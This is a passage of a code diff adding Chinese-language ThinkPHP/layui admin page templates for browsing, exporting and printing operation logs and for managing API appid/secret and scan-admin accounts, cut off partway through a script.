||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var username = qs["username"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'操作日志列表打印',
|
||||
content: '/log/admin_print?startDate='+startDate+'&endDate='+endDate+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/log/admin?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&username="+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</html>
|
||||
@@ -0,0 +1,30 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">操作日志列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">编号</th>
|
||||
<th style="text-align: center;">操作人</th>
|
||||
<th style="text-align: center;">操作类型</th>
|
||||
<th style="text-align: center;">操作描述</th>
|
||||
<th style="text-align: center;">操作时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="log_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.space_admin}</td>
|
||||
<td>{$vo.control}</td>
|
||||
<td>{$vo.remake}</td>
|
||||
<td>{$vo.control_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,148 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">用户添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>编号</th>
|
||||
<th>appid</th>
|
||||
<th>秘钥</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="admin_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.appid}</td>
|
||||
<td>{$vo.appsecret}</td>
|
||||
<td><?php if($vo['status'] == 1){echo '<span style="color:#43A72D">生效</span>';}else{echo '<span style="color:#f00">禁用</span>';} ?></td>
|
||||
<td class="td-manage">
|
||||
<a href="/log/api_admin_edit?id={$vo.id}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
|
||||
</a>
|
||||
<a onclick="change_status(this,'{$vo.id}')" href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ADB6FF;">状态</span>
|
||||
</a>
|
||||
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$admin_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/api_admin';
|
||||
if(id == "2") location.href = '/log/api_admin_add';
|
||||
});
|
||||
/*用户-删除*/
|
||||
function member_del(obj, id) {
|
||||
layer.confirm('确认要删除吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('删除用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/log/api_admin_del',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
function change_status(obj, id) {
|
||||
layer.confirm('确认要更改状态吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('更改用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/log/api_admin_status',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,143 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">用户添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">appid:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">秘钥:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认秘钥:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 与秘钥保持一致</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">名称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_name" name="L_name" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/api_admin';
|
||||
if(id == "2") location.href = '/log/api_admin_add';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.appid = $('#L_username').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.name = $('#L_name').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.appid.length == 0){
|
||||
layer.alert("请填写APPID");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length < 6){
|
||||
layer.alert("请填写超过6个字符串的秘钥");
|
||||
return false;
|
||||
}
|
||||
if(query.pass != query.repass){
|
||||
layer.alert("两次秘钥不一致!");
|
||||
return false;
|
||||
}
|
||||
if(query.name.length <= 0){
|
||||
layer.alert("请填写名称!");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/log/do_api_admin_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/log/api_admin";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,137 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">用户修改</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">appid:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value="{$admin.appid}" readonly maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">秘钥:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="text" value="{$admin.appsecret}" maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="text" value="{$admin.appsecret}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 与秘钥保持一致</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">名称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_name" name="L_name" type="text" value="{$admin.name}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="id" value="{$admin.id}">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/api_admin';
|
||||
if(id == "2") location.href = '/log/api_admin_edit';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function () {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.id = $('#id').val();
|
||||
query.appid = $('#L_username').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.name = $('#L_name').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.pass.length > 0){
|
||||
if(query.pass.length >= 6){
|
||||
if(query.pass != query.repass){
|
||||
layer.msg("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
}else{
|
||||
layer.msg("密码不能少于6位字符!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/log/do_api_admin_edit',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = '/log/api_admin';
|
||||
});
|
||||
}else{
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,145 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">操作日志列表</a>
|
||||
<!--<a href="javascript:;" class="list-two" data-id="2">添加代理</a>-->
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/log/index" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<input type="text" name="username" id="username" placeholder="请输入操作人" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出 excel</span>
|
||||
<!-- <span class="layui-btn" id="print">打印</span> -->
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>编号</th>
|
||||
<th>操作人</th>
|
||||
<th>操作类型</th>
|
||||
<th>操作描述</th>
|
||||
<th>操作时间</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="log_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.control}</td>
|
||||
<td>{$vo.remake}</td>
|
||||
<td>{$vo.control_time}</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$log_list->render()}
|
||||
</div>
|
||||
</body>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/index';
|
||||
// if(id == "2") location.href = '/agent/agent_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/log/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&username="+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var username = qs["username"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'操作日志列表打印',
|
||||
content: '/log/user_print?startDate='+startDate+'&endDate='+endDate+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
</script>
|
||||
</html>
|
||||
@@ -0,0 +1,176 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">用户添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>编号</th>
|
||||
<th>appid</th>
|
||||
<th>名称</th>
|
||||
<th>备注</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="admin_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.appid}</td>
|
||||
<td>{$vo.name}</td>
|
||||
<td>{$vo.remake}</td>
|
||||
<td class="td-manage">
|
||||
<a href="/log/scan_admin_edit?id={$vo.id}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
|
||||
</a>
|
||||
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$admin_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/log/scan_admin';
|
||||
if(id == "2") location.href = '/log/scan_admin_add';
|
||||
});
|
||||
/*用户-删除*/
|
||||
function member_del(obj, id) {
|
||||
layer.confirm('确认要删除吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('删除用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.scan_admin_id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/log/scan_admin_del',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var status = qs["status"];
|
||||
var username = qs["username"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
